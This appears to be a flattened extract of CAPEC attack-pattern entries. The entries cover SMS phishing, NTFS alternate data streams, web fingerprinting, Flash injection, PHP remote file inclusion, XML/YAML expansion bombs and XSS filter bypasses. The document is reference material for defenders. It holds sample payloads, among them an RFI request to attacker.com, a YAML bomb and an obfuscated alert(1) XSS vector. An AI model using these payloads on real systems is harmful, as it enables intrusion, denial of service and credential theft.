  1. Obtain domain name and certificate to spoof legitimate site: This optional step can be used to help the adversary impersonate the legitimate site more convincingly. The adversary can use homograph or similar attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.
  2. Techniques
    Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)
    Optionally obtain a legitimate SSL certificate for the new domain name.
  3. Explore legitimate website and create duplicate: An adversary creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that they are trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.
  4. Techniques
    Use spidering software to get copy of web pages on legitimate site.
    Manually save copies of required web pages from legitimate site.
    Create new web pages that have the legitimate site's look and feel, but contain completely new content.

Exploit

  1. Convince user to enter sensitive information on adversary's site.: An adversary sends a text message to the victim that has a call-to-action, in order to persuade the user into clicking the included link (which then takes the victim to the adversary's website) and logging in. The key is to get the victim to believe that the text message originates from a legitimate entity with which the victim does business and that the website pointed to by the URL in the text message is the legitimate website. A call-to-action will usually need to sound legitimate and urgent enough to prompt action from the user.
  2. Techniques
    Send the user a message from a spoofed legitimate-looking mobile number that asks the user to click on the included link.
  3. Use stolen credentials to log into legitimate site: Once the adversary captures some sensitive information through phishing (login credentials, credit card information, etc.) the adversary can leverage this information. For instance, the adversary can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.
  4. Techniques
    Log in to the legitimate site using another user's supplied credentials
High
  • An adversary needs mobile phone numbers to initiate contact with the victim.
  • An adversary needs to correctly guess the entity with which the victim does business and impersonate it. Most of the time phishers just use the most popular banks/services and send out their "hooks" to many potential victims.
  • An adversary needs to have a sufficiently compelling call to action to prompt the user to take action.
  • The replicated website needs to look extremely similar to the original website and the URL used to get to that website needs to look like the real URL of the said business entity.
  • Either mobile phone or access to a web resource that allows text messages to be sent to mobile phones. Resources needed for regular Phishing attack.
Medium: Basic knowledge about websites: obtaining them, designing and implementing them, etc. Stable High 3.9
98
Windows ::DATA Alternate Data Stream Detailed An attacker exploits the functionality of Microsoft NTFS Alternate Data Streams (ADS) to undermine system security. ADS allows multiple "files" to be stored in one directory entry referenced as filename:streamname. One or more alternate data streams may be stored in any file or directory. Normal Microsoft utilities do not show the presence of an ADS stream attached to a file. The additional space for the ADS is not recorded in the displayed file size. The additional space for ADS is accounted for in the used space on the volume. An ADS can be any type of file. ADS are copied by standard Microsoft utilities between NTFS volumes. ADS can be used by an attacker or intruder to hide tools, scripts, and data from detection by normal system utilities. Many anti-virus programs do not check for or scan ADS. Windows Vista does have a switch (-R) on the command line DIR command that will display alternate streams. 2014-06-23 02:00:00 Capec: CAPEC-168
Cwe: CWE-212
Cwe: CWE-69
Owasp Attacks: Windows alternate data stream
2020-12-17 01:00:00 2.1 Software
None None
  • The target must be running the Microsoft NTFS file system.
  • The attacker must have command line or programmatic access to the target's files system with write/read permissions.
Draft Medium 3.9
636
Web Application Fingerprinting Detailed An attacker sends a series of probes to a web application in order to elicit version-dependent and type-dependent behavior that assists in identifying the target. An attacker could learn information such as software versions, error pages, and response headers, variations in implementations of the HTTP protocol, directory structures, and other similar information about the targeted service. This information can then be used by an attacker to formulate a targeted attack plan. While web application fingerprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks. 2014-06-23 02:00:00 Capec: CAPEC-170
Cwe: CWE-497
Reference_from_capec: REF-36
Reference_from_capec: REF-37
Reference_from_capec: REF-38
Reference_from_capec: REF-39
2022-09-29 02:00:00 2.1 Confidentiality:
  • Other (Information Leakage)
Software
  1. An attacker sends malformed requests or requests of nonexistent pages to the server. Consider the following HTTP responses. Response from Apache 1.3.23 $ nc apache.server.com80 GET / HTTP/3.0 HTTP/1.1 400 Bad RequestDate: Sun, 15 Jun 2003 17:12: 37 GMTServer: Apache/1.3.23Connection: closeTransfer: chunkedContent-Type: text/HTML; charset=iso-8859-1 Response from IIS 5.0 $ nc iis.server.com 80GET / HTTP/3.0 HTTP/1.1 200 OKServer: Microsoft- IIS/5.0Content-Location: http://iis.example.com/Default.htmDate: Fri, 01 Jan 1999 20:14: 02 GMTContent-Type: text/HTMLAccept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMTETag: W/e0d362a4c335be1: ae1Content-Length: 133 [REF-37]

Explore

  1. Request fingerprinting: Use automated tools or send web server specific commands to web server and wait for server's response.
  2. Techniques
    Use automated tools or send web server specific commands to web server and then receive server's response.

Experiment

  1. Increase the accuracy of server fingerprinting of Web servers: Attacker usually needs to send several different commands to accurately identify the web server. Attacker can also use automated tools to send requests to the server. The responses of the server may be different in terms of protocol behavior.
  2. Techniques
    Observe the ordering of the several HTTP response headers. The ordering of the header of each server may have unique identities.
    Send bad requests or requests of nonexistent pages to the server.
    Attacker takes existing automated tools to recognize the type and the version of the web server in use.
  3. Identify Web Application Software: After the web server platform software has been identified, the attacker start to identify web application technologies such as ASP, .NET, PHP and Java on the server.
  4. Techniques
    Examine the file name extensions in URL, for example .php indicates PHP script interfaced with Apache server.
    Examine the HTTP Response Headers. This may leak information about software signatures
    Examine Cookies that may contain server's software information.
    Check error pages.
  5. Identify Backend Database Version: Determining the database engine type can assist attackers' attempt to successfully execute SQL injection. Some database API such as ODBC will show a database type as part of the driver information when reporting an error.
  6. Techniques
    Use tools to send bogus SQL query to the server and check error pages.
High
  • Any web application can be fingerprinted. However, some configuration choices can limit the useful information an attacker may collect during a fingerprinting attack.
  • While simple fingerprinting can be accomplished with only a web browser, for more thorough fingerprinting an attacker requires a variety of tools to collect information about the target. These tools might include protocol analyzers, web-site crawlers, and fuzzing tools. Footprinting a service adequately may also take a few days if the attacker wishes the footprinting attempt to go undetected.
Low: Attacker knows how to send HTTP request, SQL query to a web application. Draft Low 3.9
541
Flash Parameter Injection Detailed An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document. These 'FlashVars' are most often passed to the Flash file via URL arguments or from the Object or Embed tag within the embedding HTML document. If these FlashVars are not properly sanitized, an adversary may be able to embed malicious content (such as scripts) into the HTML document. The injected parameters can also provide the adversary control over other objects within the Flash file as well as full control over the parent document's DOM model. As such, this is a form of HTTP parameter injection, but the abilities granted to the Flash document (such as access to a page's document model, including associated cookies) make this attack more flexible. Flash Parameter Injection attacks can also preface further attacks such as various forms of Cross-Site Scripting (XSS) attacks in addition to Session Hijacking attacks. 2014-06-23 02:00:00 Capec: CAPEC-174
Cwe: CWE-88
Reference_from_capec: REF-40
Reference_from_capec: REF-560
2022-09-29 02:00:00 2.1 Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Other (Information Leakage)
Software
  1. The following are examples for different types of parameters passed to the Flash file. DOM-based Flash parameter injection Passing parameter in an embedded URI Passing parameter in flashvars Persistent Flash Parameter Injection // Create a new shared object or read an existing one mySharedObject = SharedObject.getLocal("flashToLoad");if (_root.flashfile == undefined) { // Check whether there is a shared object saved if (mySharedObject.data.flash == null) { // Set a default value _root.flashfile = "defaultFlash.swf"; } else { // Read the flash file to load from the shared object _root.flashfile = mySharedObject.data.flash; } } // Store the flash file's name in the shared object mySharedObject.data.flash = _root.flashfile; // Load the flash file getURL(_root.flashfile); If an unsuspecting user is lured by an adversary to click on link like this: http://example.com/vulnerable.swf?flashfile=javascript:alert(document.domain) The result will be not merely a one-time execution of the JavaScript code in the victim's browser in the context of the domain with the vulnerable Flash file, but every time the Flash is loaded, whether by direct reference or embedded inside the same domain, the JavaScript will be executed again.

Explore

  1. Spider: Using a browser or an automated tool, an adversary records all instances of HTML documents that have embedded Flash files. If there is an embedded Flash file, they list how to pass global parameters to the Flash file from the embedding object.
  2. Techniques
    Use an automated tool to record all instances of URLs which have embedded Flash files and list the parameters passing to the Flash file.
    Use a browser to manually explore the website to see whether the HTML document has embedded Flash files or not and list the parameters passing to the Flash file.

Experiment

  1. Determine the application susceptibility to Flash parameter injection: Determine the application susceptibility to Flash parameter injection. For each URL identified in the Explore phase, the adversary attempts to use various techniques such as DOM based, reflected, flashvars, and persistent attacks depending on the type of parameter passed to the embedded Flash file.
  2. Techniques
    When the JavaScript 'document.location' variable is used as part of the parameter, inject '#' and the payload into the parameter in the URL.
    When the name of the Flash file is exposed as a form or a URL parameter, the adversary injects '?' and the payload after the file name in the URL to override some global value.
    When the arguments passed in the 'flashvars' attributes, the adversary injects '&' and payload in the URL.
    If some of the attributes of the tag are received as parameters, the 'flashvars' attribute is injected into the tag without the creator of the Web page ever intending to allow arguments to be passed into the Flash file.
    If shared objects are used to save data that is entered by the user persistent Flash parameter injection may occur, with malicious code being injected into the Flash file and executed, every time the Flash file is loaded.

Exploit

  1. Execute Flash Parameter Injection Attack: Inject parameters into Flash file. Based on the results of the Experiment phase, the adversary crafts the underlying malicious URL containing injected Flash parameters and submits it to the web server. Once the web server receives the request, the embedding HTML document will controllable by the adversary.
  2. Techniques
    Craft underlying malicious URL and send it to the web server to take control of the embedding HTML document.
High
  • The adversary must convince the victim to click their crafted link.
Medium: The adversary need inject values into the global parameters to the Flash file and understand the parent HTML document DOM structure. The adversary needs to be smart enough to convince the victim to click on their crafted link. Draft Medium 3.9
182
Create files with the same name as files protected with a higher classification Detailed An attacker exploits file location algorithms in an operating system or application by creating a file with the same name as a protected or privileged file. The attacker could manipulate the system if the attacker-created file is trusted by the operating system or an application component that attempts to load the original file. Applications often load or include external files, such as libraries or configuration files. These files should be protected against malicious manipulation. However, if the application only uses the name of the file when locating it, an attacker may be able to create a file with the same name and place it in a directory that the application will search before the directory with the legitimate file is searched. Because the attackers' file is discovered first, it would be used by the target application. This attack can be extremely destructive if the referenced file is executable and/or is granted special privileges based solely on having a particular name. 2014-06-23 02:00:00 Capec: CAPEC-177
Cwe: CWE-706
Attack: T1036
2018-07-31 02:00:00 2.1 Software
None None
  • The target application must include external files. Most non-trivial applications meet this criterion.
  • The target application does not verify that a located file is the one it was looking for through means other than the name. Many applications fail to perform checks of this type.
  • The directories the target application searches to find the included file include directories writable by the attacker which are searched before the protected directory containing the actual files. It is much less common for applications to meet this criterion, but if an attacker can manipulate the application's search path (possibly by controlling environmental variables) then they can force this criterion to be met.
  • The attacker must have sufficient access to place an arbitrarily named file somewhere early in the application's search path.
Draft Very High 3.9
17
Cross-Site Flashing Detailed An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application. 2014-06-23 02:00:00 Capec: CAPEC-178
Cwe: CWE-601
Reference_from_capec: REF-41
Reference_from_capec: REF-42
Reference_from_capec: REF-561
2023-01-24 01:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Read Data
Non-Repudiation:
  • Gain Privileges
Social Engineering
Software
  1. The attacker tries to get their malicious flash movie to be executed in the targeted flash application. The malicious file is hosted on the attacker.com domain and the targeted flash application is hosted on example.com The crossdomain.xml file in the root of example.com allows all domains and no specific restriction is specified in the targeted flash application. When the attacker injects their malicious file in the vulnerable flash movie, the rogue flash application is able to access internal variables and parameter of the flash movie.

Explore

  1. Identification: Using a browser or an automated tool, an attacker records all instances of URLs (or partial URL such as domain) passed to a flash file (SWF).
  2. Techniques
    Use an automated tool to record the variables passed to a flash file.
    Use a browser to manually explore the website and analyze how the flash file receive variables, e.g. JavaScript using SetVariable/GetVariable, HTML FlashVars param tag, etc.
    Use decompilers to retrieve the flash source code and record all user-controllable variables passed to a loadMovie* directive.

Experiment

  1. Attempt to inject a remote flash file: The attacker makes use of a remotely available flash file (SWF) that generates a uniquely identifiable output when executed inside the targeted flash file.
  2. Techniques
    Modify the variable of the SWF file that contains the remote movie URL to the attacker controlled flash file.

Exploit

  1. Access or Modify Flash Application Variables: As the attacker succeeds in exploiting the vulnerability, they target the content of the flash application to steal variable content, password, etc.
  2. Techniques
    Develop malicious Flash application that is injected through vectors identified during the Experiment Phase and loaded by the victim browser's flash plugin and sends document information to the attacker.
    Develop malicious Flash application that is injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the flash application to execute appropriately.
  3. Execute JavaScript in victim's browser: When the attacker targets the current flash application, they can choose to inject JavaScript in the client's DOM and therefore execute cross-site scripting attack.
  4. Techniques
    Develop malicious JavaScript that is injected from the rogue flash movie to the targeted flash application through vectors identified during the Experiment Phase and loaded by the victim's browser.
Medium
  • The targeted Flash application must reference external URLs and the locations thus referenced must be controllable through parameters. The Flash application must fail to sanitize such parameters against malicious manipulation. The victim must follow a crafted link created by the attacker.
Medium: knowledge of Flash internals, parameters and remote referencing. Draft Medium 3.9
182
Flash File Overlay Detailed An attacker creates a transparent overlay using flash in order to intercept user actions for the purpose of performing a clickjacking attack. In this technique, the Flash file provides a transparent overlay over HTML content. Because the Flash application is on top of the content, user actions, such as clicks, are caught by the Flash application rather than the underlying HTML. The action is then interpreted by the overlay to perform the actions the attacker wishes. 2014-06-23 02:00:00 Capec: CAPEC-181
Cwe: CWE-1021
2019-09-30 02:00:00 2.1 Software
None None
  • The victim must be tricked into navigating to the attackers' decoy site and performing the actions on the decoy page.
  • The victim's browser must support invisible Flash overlays.
  • The attacker must be able to force the Flash overlay over the decoy content.
Draft Medium 3.9
103
Malicious Automated Software Update via Redirection Detailed An attacker exploits two layers of weaknesses in server or client software for automated update mechanisms to undermine the integrity of the target code- base. The first weakness involves a failure to properly authenticate a server as a source of update or patch content. This type of weakness typically results from authentication mechanisms which can be defeated, allowing a hostile server to satisfy the criteria that establish a trust relationship. The second weakness is a systemic failure to validate the identity and integrity of code downloaded from a remote location, hence the inability to distinguish malicious code from a legitimate update. One predominate type of redirection attack requires DNS spoofing or hijacking of a domain name corresponding to an update server. The target software initiates an update request and the DNS request resolves the domain name of the update server to the IP address of the attacker, at which point the software accepts updates either transmitted by or pulled from the attackers' server. Attacks against DNS mechanisms comprise an initial phase of a chain of attacks that facilitate automated update hijacking attack, and such attacks have a precedent in targeted activities that have been as complex as DNS/BIND attacks of corporate infrastructures, to untargeted attacks aimed at compromising home broadband routers, as well as attacks involving the compromise of wireless access points, as well as 'evil twin' attacks coupled with DNS redirection. Due to the plethora of options open to the attacker in forcing name resolution to arbitrary servers the Automated Update Hijacking attack strategies are the tip of the spear for many multi-stage attack chains. The second weakness that is exploited by the attacker is the lack of integrity checking by the software in validating the update. Software which relies only upon domain name resolution to establish the identity of update code is particularly vulnerable, because this signals an absence of other security countermeasures that could be applied to invalidate the attackers' payload on basis of code identity, hashing, signing, encryption, and other integrity checking mechanisms. Redirection-based attack patterns work equally well against client-side software as well as local servers or daemons that provide software update functionality. 2014-06-23 02:00:00 Capec: CAPEC-187
Cwe: CWE-494
Attack: T1072
2022-02-22 01:00:00 2.1 Availability:
  • Execute Unauthorized Commands
Access Control:
  • Execute Unauthorized Commands
Confidentiality:
  • Execute Unauthorized Commands
Supply Chain
Software
None High Draft High 3.9
186
Reverse Engineer an Executable to Expose Assumed Hidden Functionality Detailed An attacker analyzes a binary file or executable for the purpose of discovering the structure, function, and possibly source-code of the file by using a variety of analysis techniques to effectively determine how the software functions and operates. This type of analysis is also referred to as Reverse Code Engineering, as techniques exist for extracting source code from an executable. Several techniques are often employed for this purpose, both black box and white box. The use of computer bus analyzers and packet sniffers allows the binary to be studied at a level of interactions with its computing environment, such as a host OS, inter-process communication, and/or network communication. This type of analysis falls into the 'black box' category because it involves behavioral analysis of the software without reference to source code, object code, or protocol specifications. 2014-06-23 02:00:00 Capec: CAPEC-190
Cwe: CWE-912
Reference_from_capec: REF-51
Reference_from_capec: REF-52
Reference_from_capec: REF-53
2020-07-30 02:00:00 2.1 Software
Physical Security
None None
  • Access to the target file such that it can be analyzed with the appropriate tools. A range of tools suitable for analyzing an executable or its operations
Draft Low 3.9
167
Read Sensitive Constants Within an Executable Detailed An adversary engages in activities to discover any sensitive constants present within the compiled code of an executable. These constants may include literal ASCII strings within the file itself, or possibly strings hard-coded into particular routines that can be revealed by code refactoring methods including static and dynamic analysis. One specific example of a sensitive string is a hard-coded password. Typical examples of software with hard-coded passwords include server-side executables which may check for a hard-coded password or key during a user's authentication with the server. Hard-coded passwords can also be present in client-side executables which utilize the password or key when connecting to either a remote component, such as a database server, licensing server, or otherwise, or a processes on the same host that expects a key or password. When analyzing an executable the adversary may search for the presence of such strings by analyzing the byte-code of the file itself. Example utilities for revealing strings within a file include 'strings,' 'grep,' or other variants of these programs depending upon the type of operating system used. These programs can be used to dump any ASCII or UNICODE strings contained within a program. Strings can also be searched for using a hex editors by loading the binary or object code file and utilizing native search functions such as regular expressions. Additionally, sensitive numeric values can occur within an executable. This can be used to discover the location of cryptographic constants. 2014-06-23 02:00:00 Capec: CAPEC-191
Cwe: CWE-798
Attack: T1552.001
Reference_from_capec: REF-51
Reference_from_capec: REF-52
Reference_from_capec: REF-53
2022-02-22 01:00:00 2.1 Software
Physical Security
None None
  • Access to a binary or executable such that it can be analyzed by various utilities.
  • Binary analysis programs such as 'strings' or 'grep', or hex editors.
Draft Low 3.9
167
PHP Remote File Inclusion Detailed In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions. 2014-06-23 02:00:00 Capec: CAPEC-193
Cwe: CWE-98
Cwe: CWE-80
Reference_from_capec: REF-59
Reference_from_capec: REF-60
Reference_from_capec: REF-30
Reference_from_capec: REF-621
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Read Data
Non-Repudiation:
  • Gain Privileges
Software
  1. The adversary controls a PHP script on a server "http://attacker.com/rfi.txt" The .txt extension is given so that the script doesn't get executed by the attacker.com server, and it will be downloaded as text. The target application is vulnerable to PHP remote file inclusion as following: include($_GET['filename'] . '.txt') The adversary creates an HTTP request that passes their own script in the include: http://example.com/file.php?filename=http://attacker.com/rfi with the concatenation of the ".txt" prefix, the PHP runtime download the attack's script and the content of the script gets executed in the same context as the rest of the original script.

Explore

  1. Survey application: Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links they find.
  2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt variations on input parameters: The attack variants make use of a remotely available PHP script that generates a uniquely identifiable output when executed on the target application server. Possibly using an automated tool, an adversary requests variations on the inputs they surveyed before. They send parameters that include variations of payloads which include a reference to the remote PHP script. They record all the responses from the server that include the output of the execution of remote PHP script.
  2. Techniques
    Use a list of probe strings to inject in parameters of known URLs. The probe strings are variants of PHP remote file inclusion payloads which include a reference to the adversary controlled remote PHP script.
    Use a proxy tool to record results of manual input of remote file inclusion probes in known URLs.

Exploit

  1. Run arbitrary server-side code: As the adversary succeeds in exploiting the vulnerability, they are able to execute server-side code within the application. The malicious code has virtual access to the same resources as the targeted application. Note that the adversary might include shell code in their script and execute commands on the server under the same privileges as the PHP runtime is running with.
  2. Techniques
    Develop malicious PHP script that is injected through vectors identified during the Experiment Phase and executed by the application server to execute a custom PHP script.
High
  • Target application server must allow remote files to be included in the "require", "include", etc. PHP directives
  • The adversary must have the ability to make HTTP requests to the target web application.
  • None: No specialized resources are required to execute this type of attack.
Low: To inject the malicious payload in a web page Medium: To bypass filters in the application Draft High 3.9
253
Exponential Data Expansion Detailed An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory. 2014-06-23 02:00:00 Capec: CAPEC-197
Cwe: CWE-770
Cwe: CWE-776
Wasc: 44
Reference_from_capec: REF-64
Reference_from_capec: REF-65
Reference_from_capec: REF-66
Reference_from_capec: REF-67
Reference_from_capec: REF-67
2022-09-29 02:00:00 2.1
  • Billion Laughs Attack
  • XML Bomb
  • XML Entity Expansion (XEE)
Availability:
  • Unreliable Execution (Denial of Service)
  • Resource Consumption (Denial of Service)
Software
  1. The most common example of this type of attack is the "many laughs" attack (sometimes called the 'billion laughs' attack). For example: ]>&lol9; This is well formed and valid XML according to the DTD. Each entity increases the number entities by a factor of 10. The line of XML containing lol9; expands out exponentially to a message with 10^9 entities. A small message of a few KBs in size can easily be expanded into a few GB of memory in the parser. By including 3 more entities similar to the lol9 entity in the above code to the DTD, the program could expand out over a TB as there will now be 10^12 entities. Depending on the robustness of the target machine, this can lead to resource depletion, application crash, or even the execution of arbitrary code through a buffer overflow.
  2. This example is similar, but uses YAML. This was used to attack Kubernetes [REF-686] a: &a; ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]b: &b; [a,a,a,a,a,a,a,a,a]c: &c; [b,b,b,b,b,b,b,b,b]d: &d; [c,c,c,c,c,c,c,c,c]e: &e; [d,d,d,d,d,d,d,d,d]f: &f; [e,e,e,e,e,e,e,e,e]g: &g; [f,f,f,f,f,f,f,f,f]h: &h; [g,g,g,g,g,g,g,g,g]i: &i; [h,h,h,h,h,h,h,h,h]

Explore

  1. Survey the target: An adversary determines the input data stream that is being processed by a data parser that supports using subsitituion on the victim's side.
  2. Techniques
    Use an automated tool to record all instances of URLs to process requests.
    Use a browser to manually explore the website and analyze how the application processes requests.

Experiment

  1. Craft malicious payload: The adversary crafts a malicious message containing nested exponential expansion that completely uses up available server resources. See the "Example Instances" section for details on how to craft this malicious payload.

Exploit

  1. Send the message: Send the malicious crafted message to the target URL.
High
  • This type of attack requires that the target must receive input but either fail to provide an upper limit for entity expansion or provide a limit that is so large that it does not preclude significant resource consumption.
  • None: No specialized resources are required to execute this type of attack.
Low: Ability to craft nested data expansion messages. Draft Medium 3.9
230
XSS Targeting Error Pages Detailed An adversary distributes a link (or possibly some other query structure) with a request to a third party web server that is malformed and also contains a block of exploit code in order to have the exploit become live code in the resulting error page. When the third party web server receives the crafted request and notes the error it then creates an error message that echoes the malformed message, including the exploit. Doing this converts the exploit portion of the message into to valid language elements that are executed by the viewing browser. When a victim executes the query provided by the adversary the infected error message is returned including the exploit code which then runs in the victim's browser. XSS can result in execution of code as well as data leakage (e.g. session cookies can be sent to the attacker). This type of attack is especially dangerous since the exploit appears to come from the third party web server, who the victim may trust and hence be more vulnerable to deception. 2014-06-23 02:00:00 Capec: CAPEC-198
Cwe: CWE-81
2022-09-29 02:00:00 2.1 Software
Software
Software

Explore

  1. Survey the application for user-controllable inputs as URL parameters: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application, looking for URLs which use parameters.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Cause application to return error page: The adversary uses the URLs gathered in the "Explore" phase as a target list and injects various common script payloads and special characters into the parameters to see if an error page occurs, and if the injected payload is executed by the error page.
  2. Techniques
    Use a list of XSS probe strings to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
    Use a list of HTML special characters to inject into parameters of known URLs and check if they caused errors
  3. Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS through an error page, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
  4. Techniques
    Change a URL parameter to include a malicious script tag.
    Send information gathered from the malicious script to a remote endpoint.

Exploit

  1. Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.
  2. Techniques
    Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
    Put the malicious URL on a public forum, where many victims might accidentally click the link.
None
  • A third party web server which fails to adequately sanitize messages sent in error pages.
  • The victim must be made to execute a query crafted by the adversary which results in the infected error report.
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
XSS Using Alternate Syntax Detailed An adversary uses alternate forms of keywords or commands that result in the same action as the primary form but which may not be caught by filters. For example, many keywords are processed in a case insensitive manner. If the site's web filtering algorithm does not convert all tags into a consistent case before the comparison with forbidden keywords it is possible to bypass filters (e.g., incomplete black lists) by using an alternate case structure. For example, the "script" tag using the alternate forms of "Script" or "ScRiPt" may bypass filters where "script" is the only form tested. Other variants using different syntax representations are also possible as well as using pollution meta-characters or entities that are eventually ignored by the rendering engine. The attack can result in the execution of otherwise prohibited functionality. 2014-06-23 02:00:00 Capec: CAPEC-199
Cwe: CWE-87
Reference_from_capec: REF-69
Reference_from_capec: REF-70
Reference_from_capec: REF-71
Reference_from_capec: REF-72
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Read Data
Non-Repudiation:
  • Gain Privileges
Software
Software
Software
  1. In this example, the adversary tries to get executed by the victim's browser. The target application employs regular expressions to make sure no script is being passed through the application to the web page; such a regular expression could be ((?i)script), and the application would replace all matches by this regex by the empty string. An adversary will then create a special payload to bypass this filter: alert(1) when the applications gets this input string, it will replace all "script" (case insensitive) by the empty string and the resulting input will be the desired vector by the adversary: In this example, we assume that the application needs to write a particular string in a client-side JavaScript context (e.g., ). For the adversary to execute the same payload as in the previous example, they would need to send alert(1) if there was no filtering. The application makes use of the following regular expression as filter ((\w+)\s\\(.\\)|alert|eval|function|document) and replaces all matches by the empty string. For example each occurrence of alert(), eval(), foo() or even the string "alert" would be stripped. An adversary will then create a special payload to bypass this filter: this['al' + 'ert'](1) when the applications gets this input string, it won't replace anything and this piece of JavaScript has exactly the same runtime meaning as alert(1). The adversary could also have used non-alphanumeric XSS vectors to bypass the filter; for example, ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) would be executed by the JavaScript engine like alert(1) is.

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Probe identified potential entry points for XSS vulnerability: Possibly using an automated tool, an adversary requests variations on the inputs they surveyed before using alternate syntax. These inputs are designed to bypass incomplete filtering (e.g., incomplete HTML encoding etc.) and try many variations of characters injection that would enable the XSS payload. They record all the responses from the server that include unmodified versions of their script.
  2. Techniques
    Use a list of XSS probe strings to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier. Attempt numerous variations based on form, format, syntax & encoding.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
  3. Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
  4. Techniques
    Change a URL parameter to include a malicious script tag created using alternate syntax to bypass filters.
    Send information gathered from the malicious script to a remote endpoint.

Exploit

  1. Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.
  2. Techniques
    Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
    Put the malicious URL on a public forum, where many victims might accidentally click the link.
High
  • Target client software must allow scripting such as JavaScript.
  • Ability to send HTTP request to a web application.
Low: To inject the malicious payload in a web page High: To bypass non trivial filters in the application Draft High 3.9
